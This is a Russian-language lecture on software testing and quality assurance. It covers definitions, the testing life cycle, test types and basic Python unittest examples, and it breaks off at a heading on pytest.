1. Программирование через тестирование
Вопросы
-
Обеспечение качества и тестирование программного обеспечения - основные понятия и определения
-
Жизненный цикл тестирования и требования
-
Типы тестирования
-
Тестирование в python
-
Концепция TDD (Test-Driven Development) в Python
-
Практическое тестирование защищенности программного обеспечения
Обеспечение качества и тестирование программного обеспечения - основные понятия и определения
Качество программного обеспечения (Software Quality) - это степень, в которой программное обеспечение обладает требуемой комбинацией свойств.
Качество программного обеспечения (Software Quality) - это совокупность характеристик программного обеспечения, относящихся к его способности удовлетворять установленные и предполагаемые потребности.
Обеспечение качества (Quality Assurance - QA) - это совокупность мероприятий, охватывающих все технологические этапы разработки, выпуска и эксплуатации программного обеспечения (ПО) информационных систем, предпринимаемых на разных стадиях жизненного цикла ПО для обеспечения требуемого уровня качества выпускаемого продукта.
Контроль качества (Quality Control - QC) - это совокупность действий, проводимых над продуктом в процессе разработки для получения информации о его актуальном состоянии в разрезах: "готовность продукта к выпуску", "соответствие зафиксированным требованиям", "соответствие заявленному уровню качества продукта".
Тестирование программного обеспечения (Software Testing) - это одна из техник контроля качества, включающая в себя активности по планированию работ (Test Management), проектированию тестов (Test Design), выполнению тестирования (Test Execution) и анализу полученных результатов (Test Analysis).
Верификация (verification) - это процесс оценки системы или её компонентов с целью определения, удовлетворяют ли результаты текущего этапа разработки условиям, сформированным в начале этого этапа. Т.е. выполняются ли наши цели, сроки, задачи по разработке проекта, которые были определены в начале текущей фазы.
Валидация (validation) - это определение соответствия разрабатываемого ПО ожиданиям и потребностям пользователя, требованиям к системе.
План Тестирования (Test Plan - это документ, который описывает весь объем работ по тестированию, начиная с описания объекта, стратегии, расписания, критериев начала и окончания тестирования до необходимого в процессе работы оборудования, специальных знаний, а также оценки рисков с вариантами их разрешения.
Тест дизайн (Test Design) - это этап процесса тестирования ПО, на котором проектируются и создаются тестовые случаи (тест-кейсы), в соответствии с определенными ранее критериями качества и целями тестирования.
Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов, конкретных условий и параметров, необходимых для проверки реализации тестируемой функции или её части.
Баг/Дефект Репорт (Bug Report) - это документ, описывающий ситуацию или последовательность действий, приведшую к некорректной работе объекта тестирования с указанием причин и ожидаемого результата.
Тестовое Покрытие (Test Coverage) - это одна из метрик оценки качества тестирования, представляющая из себя плотность покрытия тестами требований либо исполняемого кода.
Детализация Тест-Кейсов (Test Case Specification) - это уровень детализации описания тестовых шагов и требуемого результата, при котором обеспечивается разумное соотношение времени прохождения к тестовому покрытию.
Время Прохождения Тест Кейса(Test Case Pass Time) - это время от начала прохождения шагов тест-кейса до получения результата теста.
Характеристики качества ПО
Функциональность (Functionality) - определяется способностью ПО решать задачи, которые соответствуют зафиксированным и предполагаемым потребностям пользователя, при заданных условиях использования ПО. Т.е. эта характеристика отвечает то, что ПО работает исправно и точно, функционально совместимо соответствует стандартам отрасли и защищено от несанкционированного доступа.
Надежность (Reliability) – способность ПО выполнять требуемые задачи в обозначенных условиях на протяжении заданного промежутка времени или указанное количество операций. Атрибуты данной характеристики – это завершенность и целостность всей системы, способность самостоятельно и корректно восстанавливаться после сбоев в работе, отказоустойчивость.
Удобство использования (Usability) – возможность легкого понимания, изучения, использования и привлекательности ПО для пользователя.
Эффективность (Efficiency) – способность ПО обеспечивать требуемый уровень производительности, в соответствии с выделенными ресурсами, временем и другими обозначенными условиями.
Удобство сопровождения (Maintainability) – легкость, с которой ПО может анализироваться, тестироваться, изменяться для исправления дефектов для реализации новых требований, для облегчения дальнейшего обслуживания и адаптирования к имеющемуся окружению.
Портативность (Portability) – характеризует ПО с точки зрения легкости его переноса из одного окружения (software/ hardware) в другое.
Модель качества программного обеспечения
На данный момент, наиболее распространена и используется многоуровневая модель качества программного обеспечения, представленная в наборе стандартов ISO 9126. На верхнем уровне выделено 6 основных характеристик качества ПО, каждую из которых определяют набором атрибутов, имеющих соответствующие метрики для последующей оценки.

Качество (Quality) – степень, в которой совокупность присущих характеристик соответствует требованиям.
Качество программного обеспечения (Software Quality) – это совокупность характеристик программного обеспечения, отражающих его способность удовлетворять установленные и предполагаемые потребности.
Требование (Requirement) – потребность или ожидание, которое установлено. Обычно предполагается или является обязательным.
Навыки
hardskill 1) Уверенное владение компьютером 2) Программирование 3) Базы данных и язык SQL. 4) Понимание принципов работы сетей и операционных систем. 5) Понимание принципов работы веб-приложений и мобильных приложений.
softskill 1) Повышенная ответственность и исполнительность; 2) Коммуникативные навыки, способность ясно, быстро, чётко выражать свои мысли; 3) Усидчивость, внимательность к деталям, наблюдательность; 4) Хорошее абстрактное и аналитическое мышление; 5) Инициативность.
Ошибки
Откуда берутся ошибки в ПО?
Почему бывает так, что программы работают неправильно? Все очень просто – они создаются и используются людьми. Если пользователь допустит ошибку, то это может привести к проблеме в работе программы – она используется неправильно, значит, может повести себя не так, как ожидалось.
Ошибка (error) – это действие человека, которое порождает неправильный результат.
Однако программы разрабатываются и создаются людьми, которые также могут допускать (и допускают) ошибки. Это значит, что недостатки есть и в самом программном обеспечении. Они называются дефектами или багами (оба обозначения равносильны). Здесь важно помнить, что программное обеспечение – нечто большее, чем просто код.
Дефект, Баг (Defect, Bug) – недостаток компонента или системы, который может привести к отказу определенной функциональности. Дефект, обнаруженный во время исполнения программы, может вызвать отказ отдельного компонента или всей системы.
При исполнении кода программы дефекты, заложенные еще во время его написания, могут проявиться: программа может не делать того, что должна или наоборот делать то, чего не должна – происходит сбой.
Сбой (failure) – несоответствие фактического результата (actual result) работы компонента или системы ожидаемому результату (expected result).
Сбой в работе программы может являться индикатором наличия в ней дефекта.
Таким образом, баг существует при одновременном выполнении трех условий: известен ожидаемый результат; известен фактический результат; фактический результат отличается от ожидаемого результата.
Важно понимать, что не все баги становятся причиной сбоев – некоторые из них могут никак себя не проявлять и оставаться незамеченными (или проявляться только при очень специфических обстоятельствах).
Причиной сбоев могут быть не только дефекты, но также и условия окружающей среды: например, радиация, электромагнитные поля или загрязнение также могут влиять на работу как программного, так и аппаратного обеспечения.
Всего существует несколько источников дефектов и, соответственно, сбоев:
ошибки в спецификации, дизайне или реализации программной системы;
ошибки использования системы;
неблагоприятные условия окружающей среды;
умышленное причинение вреда;
потенциальные последствия предыдущих ошибок, условий или умышленных действий.
Дефекты могут возникать на разных уровнях, и от того, будут ли они исправлены и когда, будет напрямую зависеть качество системы.
Условно можно выделить пять причин появления дефектов в программном коде.
1) Недостаток или отсутствие общения в команде. 2) Сложность программного обеспечения. 3) Изменения требований. 4) Плохо документированный код. 5) Средства разработки ПО. Средства визуализации, библиотеки, компиляторы, генераторы скриптов и другие вспомогательные инструменты разработки – это тоже зачастую плохо работающие и слабо документированные программы, которые могут стать источником дефектов в готовом продукте.
Жизненный цикл тестирования и требования
Следуя общей логике итеративности, превалирующей во всех современных моделях разработки ПО, жизненный цикл тестирования также выражается замкнутой последовательностью действий
Важно понимать, что длина такой итерации (и, соответственно, степень подробности каждой стадии) может варьироваться в широчайшем диапазоне — от единиц часов до десятков месяцев. Как правило, если речь идёт о длительном промежутке времени, он разбивается на множество относительно коротких итераций, но сам при этом «тяготеет» к той или иной стадии в каждый момент времени (например, в начале проекта больше планирования, в конце — больше отчётности).

Стадия 1 (общее планирование и анализ требований) объективно необходима, как минимум, для того, чтобы иметь ответ на такие вопросы, как: что нам предстоит тестировать; как много будет работы; какие есть сложности; всё ли необходимое у нас есть и т.п. Как правило, получить ответы на эти вопросы невозможно без анализа требований, т.к. именно требования являются первичным источником ответов.
Стадия 2 (уточнение критериев приёмки) позволяет сформулировать или уточнить метрики и признаки возможности или необходимости начала тестирования, приостановки и возобновления тестирования, завершения или прекращения тестирования.
Стадия 3 (уточнение стратегии тестирования) представляет собой ещё одно обращение к планированию, но уже на локальном уровне: рассматриваются и уточняются те части стратегии тестирования, которые актуальны для текущей итерации.
Стадия 4 (разработка тест-кейсов) посвящена разработке, пересмотру, уточнению, доработке, переработке и прочим действиям с тест-кейсами, наборами тест-кейсов, тестовыми сценариями и иными артефактами, которые будут использоваться при непосредственном выполнении тестирования.
Стадия 5 (выполнение тест-кейсов) и стадия 6 (фиксация найденных дефектов) тесно связаны между собой и фактически выполняются параллельно: дефекты фиксируются сразу по факту их обнаружения в процессе выполнения тест-кейсов. Однако зачастую после выполнения всех тест-кейсов и написания всех отчётов о найденных дефектах проводится явно выделенная стадия уточнения, на которой все отчёты о дефектах рассматриваются повторно с целью формирования единого понимания проблемы и уточнения таких характеристик дефекта, как важность и срочность.
Стадия 7 (анализ результатов тестирования) и стадия 8 (отчётность) также тесно связаны между собой и выполняются практически параллельно. Формулируемые на стадии анализа результатов выводы напрямую зависят от плана тестирования, критериев приёмки и уточнённой стратегии, полученных на стадиях 1, 2 и 3. Полученные выводы оформляются на стадии 8 и служат основой для стадий 1, 2 и 3 следующей итерации тестирования. Таким образом, цикл замыкается.
Требование — описание того, какие функции и с соблюдением каких условий должно выполнять приложение в процессе решения полезной для пользователя задачи.
Описывая важность требований, подчёркивается, что они:
* Позволяют понять, что и с соблюдением каких условий система должна делать.
* Предоставляют возможность оценить масштаб изменений и управлять изменениями.
* Являются основой для формирования плана проекта (в том числе плана тестирования).
* Помогают предотвращать или разрешать конфликтные ситуации.
* Упрощают расстановку приоритетов в наборе задач.
* Позволяют объективно оценить степень прогресса в разработке проекта.
Продуктная документация (product documentation, development documentation) используется проектной командой во время разработки и поддержки продукта. Она включает:
1) План проекта (project management) и в том числе тестовый план (test).
2) Требования к программному продукту (product requirements document) и функциональные спецификации (functional specifications document, FSD; software requirements specification, SRS).
3) Архитектуру и дизайн (architecture and design).
4) Тест-кейсыи наборы тест-кейсов (test cases, test suites).
5) Технические спецификации (technical specifications), такие как схемы баз данных, описания алгоритмов, интерфейсов и т.д.
Источники и пути выявления требований:
Интервью, опросы, анкетирование.
Мозговой штурм, семинар.
Наблюдение за производственной деятельностью, «фотографирование» рабочего дня.
Анализ нормативной документации.
Анализ моделей деятельности.
Анализ конкурентных продуктов.
Анализ статистики использования предыдущих версий системы.
Совещание.
Use case.
Литература
Ссылка на книгу «Тестирование программного обеспечения. Базовый курс. (3-е издание)»
Типы тестирования
Функциональное тестирование проверяет пригодность приложения (сайта) — делает ли это приложение (сайт) то, что должно?
Тестирование, проверяющее ПО на соответствие функциональным требованиям.

Категории функционального тестирования
](https://i0.wp.com/testengineer.ru/wp-content/uploads/2023/02/%D0%A2%D0%B8%D0%BF%D1%8B-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F.png?resize=696%2C696&ssl=1)
Лучшие практики 1. Создавать тест-кейсы как можно раньше. Создавать тест-кейсы можно, не ожидая готовности модулей или всего приложения. Лучше писать их заранее, когда пользовательские требования самые “свежие” на начальных этапах. Всегда можно внести изменения потом.
2. Автоматизация Функциональное тестирование не самая простая задача в QA. Продуманная автоматизация тест-кейсов позволяет закончить тесты раньше, что дает экономию времени и денег. Все тест-кейсы автоматизировать не получится, это невозможно, поэтому это делается только с важными тест-кейсами. Обычно автоматизируются часто повторяемые тесты, которые “принимают” разные данные; а также те, которые особенно уязвимы к человеческим ошибкам.
3. Понимать, как мыслит конечный пользователь Нужно понимать, какие пользователи будут у приложения, и подстраиваться под них. Нужно понимать, как пользователь работает с приложением, какими функциями пользуется активно, а какими не очень.
4. Приоритеты Нужно выделить наиболее используемые функции, то есть присвоить им приоритет, и разумеется тестировать их в первую очередь и с большей отдачей. Немыслима ситуация, когда главная функция приложения не покрыта тестированием во всех деталях.
5. Частое тестирование Нужно подготовить чеклист автоматизации и придерживаться его, регулярно выполняя. Порядок в автоматизации помогает найти больше багов.
6. DDT-методика (Data Driven Testing)
В чем разница между функциональным и нефункциональным?
Функциональное тестирование сосредоточено на функциональных аспектах приложения, а нефункциональное — на нефункциональных. В задачи нефункционального тестирования входит проверка таких вещей как производительность, надежность, масштабируемость.
Нефункциональное тестирование проводится после функционального, как менее приоритетное.
Функциональное тестирование — это о том, что софт делает, а нефункциональное — как хорошо он это делает.
Функциональное тестирование фокусируется на «механике», а нефункциональное — на «результатах».
Примеры функционального тестирования: юнит-тестирование, smoke-тестирование и другие (ниже список).
Примеры нефункционального тестирования: тестирование производительности, тестирование совместимости, нагрузочное тестирование:

Типы тестирования
Ручное тестирование Ручное тестирование выполняется человеком без использования автоматизированных инструментов. Это классический подход, который позволяет глубже понять поведение системы.
Преимущества: - Гибкость. - Удобство для сложных сценариев.
Недостатки: - Медленнее автоматизированного тестирования. - Больше вероятность человеческой ошибки.
Автоматизированное тестирование Автоматизированное тестирование использует специальные инструменты для выполнения тестов. Этот подход особенно полезен для повторяющихся задач.
Преимущества: - Экономия времени. - Высокая точность.
Недостатки: - Требует начальных затрат на создание автоматизированных тестов.
Статистическое тестирование – тип тестирования, который предполагает, что программный код во время тестирования не будет выполняться. При этом, само тестирование может быть как ручным, так и автоматизированным.
Статическое тестирование начинается на ранних этапах жизненного цикла ПО и является, соответственно, частью процесса верификации. Для этого типа тестирования в некоторых случаях даже не нужен компьютер, например, при проверке требований.
Большинство статических техник могут быть использованы для «тестирования» любых форм документации, включая вычитку кода, инспекцию проектной документации, функциональной спецификации и требований.
Статическое тестирование — процесс тестирования, который проводится для верификации практически любого артефакта разработки: программного кода компонент, требований, системных спецификаций, функциональных спецификаций, документов проектирования и архитектуры программных систем и их компонентов.
Даже статическое тестирование может быть автоматизировано, например, можно использовать автоматические средства проверки синтаксиса программного кода.
Виды статического тестирования:
вычитка исходного кода программы;
проверка требований.
Динамическое тестирование
Динамическое тестирование – тип тестирования, который предполагает запуск программного кода. Таким образом, анализируется поведение программы во время ее работы.
Для выполнения динамического тестирования необходимо, чтобы тестируемый программный код был написан, скомпилирован и запущен. При этом, может выполняться проверка внешних параметров работы программы: загрузка процессора, использование памяти, время отклика и т.д., то есть ее производительность.
Динамическое тестирование является частью процесса валидации программного обеспечения.
Динамическое тестирование — тестирование проводится на работающей системе, не может быть осуществлено без запуска программного кода приложения.
Кроме того, динамическое тестирование может включать разные подвиды, каждый из которых зависит от:
Доступа к коду (тестирование черным, белым и серым ящиками).
Уровня тестирования (модульное интеграционное, системное и приемочное тестирование).
Сферы использования приложения (функциональное, нагрузочное, тестирование безопасности и пр.).
Методы тестирования
Итог бывают два вида тестирования функциональное и нефунскиональное

Функциональное тестирование
Методы тестирования: черный, серый и белый ящик. Классификация по доступу к коду и архитектуре

Черный ящик (Black Box Testing)
Описание:
Метод тестирования черного ящика предполагает, что тестировщик не имеет доступа к внутренней структуре и реализации программы. Тестирование основывается на внешних спецификациях и требованиях. Тестировщик проверяет входные и выходные данные, не зная, как программа обрабатывает их внутри.
Применение:
- Функциональное тестирование: Проверка соответствия программы заявленным требованиям.
- Системное тестирование: Тестирование системы в целом.
- Регрессионное тестирование: Проверка, что новые изменения не нарушили существующий функционал.
- Приемочное тестирование: Проверка готовности системы к эксплуатации.
Преимущества:
- Не требует знаний внутреннего устройства программы.
- Тестирование приближено к работе конечного пользователя.
Недостатки:
- Невозможность проверить внутреннюю логику и обработку ошибок.
Черный ящик: Подходит для проверки функционала с точки зрения пользователя.
Серый ящик (Gray Box Testing)
Описание:
Метод тестирования серого ящика представляет собой комбинацию черного и белого ящика. Тестировщик имеет ограниченное знание о внутренней структуре программы, например, доступ к архитектуре, базам данных или API, но не углубляется в детали реализации.
Применение:
- Интеграционное тестирование: Проверка взаимодействия между компонентами системы.
- Тестирование безопасности: Анализ уязвимостей на уровне взаимодействия модулей.
- Тестирование производительности: Оценка поведения системы при различных нагрузках.
Преимущества:
- Позволяет сосредоточиться на взаимодействии компонентов.
- Не требует полного понимания внутренней реализации.
Недостатки:
- Ограниченное знание внутренней логики может не выявить всех ошибок.
Серый ящик: Используется для интеграционного тестирования и анализа взаимодействия компонентов.
Белый ящик (White Box Testing)
Описание:
Метод тестирования белого ящика предполагает полное знание внутренней структуры и реализации программы. Тестировщик анализирует исходный код, логику и алгоритмы для проверки корректности работы.
Применение:
- Модульное тестирование: Проверка отдельных модулей или функций.
- Тестирование покрытия кода: Оценка полноты тестового покрытия.
- Тестирование алгоритмов: Проверка корректности реализации логики.
- Тестирование безопасности: Анализ кода на наличие уязвимостей.
Преимущества:
- Возможность выявить скрытые ошибки в логике.
- Обеспечивает высокое покрытие кода.
Недостатки:
- Требует глубоких знаний программирования и внутренней структуры.
- Времязатратный метод.
Белый ящик: Применяется для детальной проверки внутренней логики и кода.
Классификация по уровню детализации приложения:
Модульное тестирование (Unit Testing)
Модульное тестирование - это процесс проверки отдельных модулей или компонентов программного обеспечения на корректность работы в изоляции от других частей системы.
Используется на ранних этапах разработки, когда разработчики пишут и проверяют код каждого модуля независимо от остальных.
Этапы 1. Написать тестовые сценарии для каждого метода или функции модуля. 2. Проверить, что модуль работает корректно с различными входными данными. 3. Убедиться, что модуль обрабатывает ошибки и исключения должным образом. 4. Изолировать зависимости модуля с помощью mock-объектов или stub-объектов для более точного тестирования.
Интеграционное тестирование (Integration Testing)
Интеграционное тестирование - это процесс проверки того, как различные модули или компоненты программного обеспечения взаимодействуют друг с другом и работают вместе.
Используется после завершения модульного тестирования для проверки интеграции компонентов в единую систему.
Этапы 1. Создать план интеграции, определив порядок объединения модулей. 2. Написать сценарии интеграционных тестов, которые будут проверять взаимодействие между модулями. 3. Проверить корректность данных при передаче между модулями. 4. Убедиться, что системы или сервисы, с которыми взаимодействуют модули, также корректно работают и могут быть успешно интегрированы.
Системное тестирование (System Testing)
Системное тестирование - это процесс проверки полной системы на соответствие требованиям и корректность работы всей системы в целом.
Используется после завершения интеграционного тестирования для проверки всей системы перед её выпуском или передачей клиенту.
Этапы 1. Создать план системного тестирования с учетом всех требований к системе. 2. Написать сценарии системных тестов, которые будут проверять все аспекты работы системы. 3. Провести полный набор функциональных и нефункциональных тестов (например, производительности, безопасности). 4. Проверить систему на соответствие требованиям пользователя и документации к проекту.
Приёмочное тестирование (Acceptance Testing)
Приёмочное тестирование - это процесс проверки готовности продукта к выпуску или приемке клиентом на основе спецификации требований.
Используется перед тем как продукт будет принят клиентом или пользователем на основе заданных критериев приёма.
Этапы 1. Создать план приёмочных испытаний с участием представителей заказчика или пользователей. 2. Написать сценарии приёмочных испытаний на основе требований к продукту. 3. Провести испытания в условиях реального использования продукта для подтверждения его соответствия заявленным функциям и характеристикам. 4. Получить подтверждение от заказчика о соответствии продукта его ожиданиям и готовности к использованию.

Тестирование пользовательского интерфейса (UI Testing)
Тестирование пользовательского интерфейса - это процесс проверки графического интерфейса пользователя (GUI) и его взаимодействия с системой для обеспечения корректности, эффективности и удобства использования.
Используется в случае - При разработке нового приложения или обновлении существующего. - Для проверки соответствия дизайна и функциональности требованиям. - Проверка доступности .
Этапы 1. Проверка визуального оформления элементов интерфейса. 2. Проверка корректности расположения элементов на экране. 3. Проверка взаимодействия элементов интерфейса (например, кнопок, полей ввода). 4. Проверка реакции интерфейса на различные действия пользователя (нажатие, ввод текста). 5. Проверка адаптивности и отзывчивости интерфейса на разных устройствах и размерах экранов.

Тестирование API (API Testing)
API (Application Programming Interface, интерфейс программирования приложений) — это набор определенных правил и протоколов, которые позволяют различным программным приложениям взаимодействовать друг с другом. API определяет, как программные компоненты должны взаимодействовать, и служит "мостом" между различными системами, позволяя им обмениваться данными и функциональностью.
Предположим, у вас есть приложение погоды, которое использует внешний API для получения текущей погоды. Ваше приложение отправляет запрос к API, используя указанный URL, и, в ответ, получает данные о погоде в формате JSON, которые затем отображаются пользователю. API играет ключевую роль в современном программировании и разработке программного обеспечения, позволяя создавать более комплексные, гибкие и интегрированные решения.
Тестирование API - это процесс проверки программных интерфейсов приложений (API) для обеспечения их надежной работы, безопасности и соответствия спецификации.
Используется в случае - При разработке или обновлении API. - Для проверки интеграции между различными компонентами системы через API. - Для подтверждения безопасности и авторизации доступа к данным через API.
Этапы 1. Проверка корректной работы методов API с различными типами запросов (GET, POST, PUT, DELETE). 2. Проверка ответов сервера на запросы с некорректными данными или аутентификацией. 3. Проверка производительности API при большом количестве запросов. 4. Проверка безопасности API путем тестирования уязвимостей к атакам (SQL, XSS). 5. Проверка документации API на соответствие функционалу.

Регрессионное тестирование (Regression Testing)
Регрессионное тестирование - это процесс повторного выполнения тестовых случаев после внесения изменений в программное обеспечение для обнаружения возможных регрессий или новых ошибок.
Используется в случае - После исправления ошибок или добавления новых функций. - Перед выпуском новой версии продукта. - После интеграции модулей или компонентов из разных частей системы.

Этапы 1. Выбор набора ключевых тестовых случаев для повторного выполнения. 2. Запуск этих тестовых случаев после внесения изменений. 3. Сравнение результатов с предыдущими результатами для выявления регрессий. 4. Исправление возникших ошибок и повторение регрессионного тестирования до стабилизации кода.
Виды регрессионного тестирования

Смок-тестирование (Smoke Testing)
Смок-тестирование - это быстрый процесс проверки основных функций программы после сборки или после внесения крупных изменений для определения работоспособности продукта.
- После успешного завершения сборки программного продукта.
- Перед началом детального тестирования проекта.
-
Для быстрого определения работоспособности системы перед продолжением более детального анализа.
-
Выбор набора простых и критичных сценариев для проверки основной функциональности системы.
- Запуск выбранных сценариев без подробного анализа результатов каждой операции.
- Определение того, что система работает достаточно хорошо для дальнейшего детального тестирования или если есть критические ошибки которые блокируют дальнейшие действия.
Нефункциональное тестирование
Тестирование производительности
Тестирование производительности - это процесс оценки эффективности работы программного обеспечения, включая его скорость, стабильность и способность обрабатывать определенное количество задач или данных в единицу времени.
Используется в случае - При разработке критически важных систем, таких как банковские системы или системы мониторинга. - Когда требуется оптимизация ресурсов сервера или приложения. - Перед масштабированием приложения для большего количества пользователей.
Этапы - Измерить время ответа системы на запросы. - Провести анализ загрузки CPU и памяти. - Проверить стабильность работы приложения при высокой нагрузке. - Оптимизировать код и архитектуру для улучшения производительности.
Тестирование безопасности
Тестирование безопасности - это процесс проверки защиты программного обеспечения от несанкционированного доступа, утечек данных, атак и других угроз безопасности.
Используется в случае - Важно для всех типов программного обеспечения, особенно для систем хранения конфиденциальной информации (банковских систем, социальных сетей). - Перед выпуском продукта на рынок. - После обнаружения уязвимостей или после хакерских атак.
Этапы - Провести аудит кода на наличие уязвимостей. - Использовать инструменты для поиска уязвимостей (Static Application Security Testing - SAST). - Регулярно проводить тесты инъекции SQL различных сценариев(XSS). - Убедиться в корректной реализации протоколов шифрования данных.
Тестирование удобства использования
Тестирование удобства использования (Usability Testing) - это процесс оценки качества взаимодействия между пользователем и системой. Оно включает в себя проверку насколько простой и интуитивно понятной является система для пользователей.
Используется в случае - После получения обратной связи от пользователей о проблемах с интерфейсом. - Перед ребрендингом программного продукта или изменениями в дизайне интерфейса.
Этапы - Организовать фокус-группы для сбора отзывов о продукте. - Записать сеансы пользователя перед использованием продукта и после его обучения. - Измерить время выполнения задач пользователями без дополнительной помощи. - Проанализировать результаты и предпринять шаги по улучшению интерфейса пользователя.
Тестирование совместимости
Тестирование совместимости - это процесс проверки того, насколько хорошо программное обеспечение работает с другими приложениями, устройствами или операционными системами без возникновения ошибок или проблем.
Используется в случае - При разработке приложений или программ, которые должны работать на разных платформах (Windows, macOS, Linux). - Когда приложение должно поддерживать множество браузеров или устройств (например, мобильные телефоны различных производителей). - Перед интеграцией нового компонента или библиотеки с существующим кодом.
Этапы - Проверить работу приложения на разных версиях операционных систем и браузеров. - Исследовать проблемы с файлами cookie и кэширования между разными платформами. - Обновлять список поддерживаемых версий ПО и документировать изменения API.
Определения и описание тестов
Тестирование масштабируемости (Scalability Testing)
Тестирование масштабируемости — это процесс проверки способности системы справляться с увеличением нагрузки (например, количества пользователей, объема данных или числа транзакций) без ухудшения производительности.
Используется в случае - При разработке систем, которые должны поддерживать рост пользовательской базы. - Перед запуском новых функций или сервисов, которые могут увеличить нагрузку на систему. - Для оценки эффективности архитектуры системы при увеличении нагрузки.
Этапы 1. Определить цели тестирования: Установить критерии успешного тестирования (например, время отклика, пропускная способность). 2. Создать тестовую среду: Настроить инфраструктуру, имитирующую реальные условия. 3. Генерация нагрузки: Использовать инструменты для создания постепенно увеличивающейся нагрузки (например, JMeter, LoadRunner). 4. Мониторинг системы: Отслеживать производительность системы (CPU, память, сеть) и выявлять узкие места. 5. Анализ результатов: Оценить, как система справляется с нагрузкой и соответствует ли она заданным критериям.
Тестирование устойчивости (Stability Testing)
Тестирование устойчивости — это проверка способности системы работать стабильно в течение длительного времени под нагрузкой.
Используется в случае - Для выявления утечек памяти или других проблем, возникающих при длительной работе. - Перед выпуском продукта для обеспечения его надежности в реальных условиях.
Этапы 1. Определить продолжительность теста: Установить временные рамки для тестирования (например, 24 часа). 2. Создать нагрузку: Использовать инструменты для генерации средней или высокой нагрузки на систему. 3. Мониторинг системы: Отслеживать стабильность работы системы и выявлять аномалии (например, утечки памяти). 4. Анализ результатов: Проверить логи и метрики на наличие ошибок или деградации производительности.
Тестирование доступности (Availability Testing)
Определение: Тестирование доступности — это проверка того, что система остается доступной для пользователей в течение заданного времени.
Используется в случае - Для оценки надежности системы в условиях сбоев или технических неполадок. - При внедрении механизмов отказоустойчивости и резервирования.
Этапы 1. Создать сценарии сбоев: Имитировать отказы компонентов системы (например, серверов или баз данных). 2. Проверить механизмы восстановления: Убедиться, что система автоматически восстанавливается после сбоя. 3. Мониторинг доступности: Отслеживать время простоя и время восстановления системы. 4. Анализ результатов: Оценить соответствие требованиям по доступности (например, 99.9% uptime).
Тестирование локализации (Localization Testing)
Тестирование локализации — это проверка адаптации продукта под требования конкретного региона или языка (переводы, формат дат/времени и т.д.).
Используется в случае - При выходе продукта на новые рынки с другими языками и культурными особенностями. - Для проверки корректности перевода интерфейса и контента.
Этапы 1. Проверить переводы: Убедиться в корректности перевода текста на целевой язык. 2. Проверить форматы данных: Проверить корректность отображения дат, времени, валюты и других региональных настроек. 3. Тест на совместимость с кодировками: Проверить поддержку символов целевого языка (например, кириллица). 4. Культурные особенности: Убедиться в отсутствии культурно неприемлемого контента или дизайна. 5. Анализ результатов: Зафиксировать найденные ошибки и предложить исправления.
Тестирование на соответствие (Conformance Testing)
Тестирование на соответствие - это процесс проверки того, что система или компонент соответствует определенным стандартам, правилам или спецификациям. Это включает в себя проверку совместимости и корректность реализации функций в соответствии с требованиями.
Используется в случае 1. При разработке программного обеспечения, которое должно работать с другими системами или компонентами, требующими соблюдения определенных стандартов. 2. Когда необходимо убедиться, что продукт или услуга соответствует законодательным и нормативным требованиям. 3. В процессе сертификации продукта для подтверждения его соответствия определенным критериям.
Этапы 1. Определите стандарты, правила или спецификации, к которым должна соответствовать система. 2. Разработайте набор тестовых случаев, которые будут проверять каждую функцию системы на соответствие указанным требованиям. 3. Выполните тесты и зафиксируйте результаты. 4. Проанализируйте результаты тестирования и выявите любые несоответствия. 5. Устраните найденные несоответствия и повторите тестирование до тех пор, пока все функции не будут соответствовать требуемым стандартам.
Тестирование установки (Installation Testing)
Тестирование установки - это процесс проверки корректности процесса установки программного обеспечения или системы. Он включает в себя проверку различных сценариев установки, обновления и удаления приложений.
Используется в случае 1. При разработке нового программного продукта для убедительности в том, что установка будет проходить без ошибок и проблемы. 2. Для поддержания качества приложений после обновлений или дополнений функциональности. 3. В контексте развертывания системного программного обеспечения на большом количестве компьютеров или серверов.
Этапы 1. Определите все возможные сценарии установки (первоначальная установка, обновление с предыдущей версии, удаление). 2. Разработайте набор тестовых случаев для каждого сценария установки. 3. Установите программное обеспечение на чистой системе и выполните все тестовые случаи. 4. Проверьте успешность выполнения каждой операции (установка/обновление/удаление) и отсутствие ошибок. 5. Проверьте интеграцию установленного приложения с другими компонентами системы (например, файлами конфигурации). 6. Проверьте наличие всех необходимых файлов и компонент после установки. 7. Проверьте корректность работы приложения после установки/обновления/удаления. 8. Зафиксируйте результаты тестирования и выявите возможные проблемы с установкой.
Тестирование в python
Модульное тестирование с использованием unittest
Рассмотрим пример модульного тестирования для функции, которая складывает два числа.
Модульное тестирование — это тестирование отдельных компонентов программы (функций, методов, классов) в изоляции от остальных частей системы. В Python для этого используется модуль unittest.
import unittest
# Функция, которую мы будем тестировать
def add(a, b):
return a + b
# Класс для тестирования
class TestAddFunction(unittest.TestCase):
# Тест для проверки сложения положительных чисел
def test_add_positive_numbers(self):
self.assertEqual(add(2, 3), 5)
# Тест для проверки сложения отрицательных чисел
def test_add_negative_numbers(self):
self.assertEqual(add(-1, -1), -2)
# Тест для проверки сложения с нулем
def test_add_with_zero(self):
self.assertEqual(add(0, 5), 5)
# Запуск тестов
if __name__ == '__main__':
unittest.main()
Комментарии:
- Мы создали функцию add, которая складывает два числа.
- Затем мы создали класс TestAddFunction, который наследуется от unittest.TestCase.
- Внутри класса мы определили несколько методов, каждый из которых проверяет определенный аспект работы функции add.
- Метод assertEqual проверяет, что результат выполнения функции соответствует ожидаемому значению.
- В конце мы запускаем тесты с помощью unittest.main().
Интеграционное тестирование
Рассмотрим пример интеграционного тестирования, где мы проверяем взаимодействие между двумя функциями: одна функция создает пользователя, а другая проверяет, существует ли пользователь в системе.
Интеграционное тестирование проверяет взаимодействие между различными модулями или компонентами системы. Оно позволяет убедиться, что отдельные части программы работают вместе корректно.
import unittest
# Функция для создания пользователя
def create_user(username):
users = []
users.append(username)
return users
# Функция для проверки существования пользователя
def user_exists(username, users):
return username in users
# Класс для интеграционного тестирования
class TestUserIntegration(unittest.TestCase):
def test_user_creation_and_existence(self):
users = create_user('test_user')
self.assertTrue(user_exists('test_user', users))
# Запуск тестов
if __name__ == '__main__':
unittest.main()
Комментарии:
- Мы создали две функции: create_user и user_exists.
- В тесте test_user_creation_and_existence мы сначала создаем пользователя, а затем проверяем, что он существует в системе.
- Метод assertTrue проверяет, что условие истинно.
Функциональное тестирование с использованием pytest
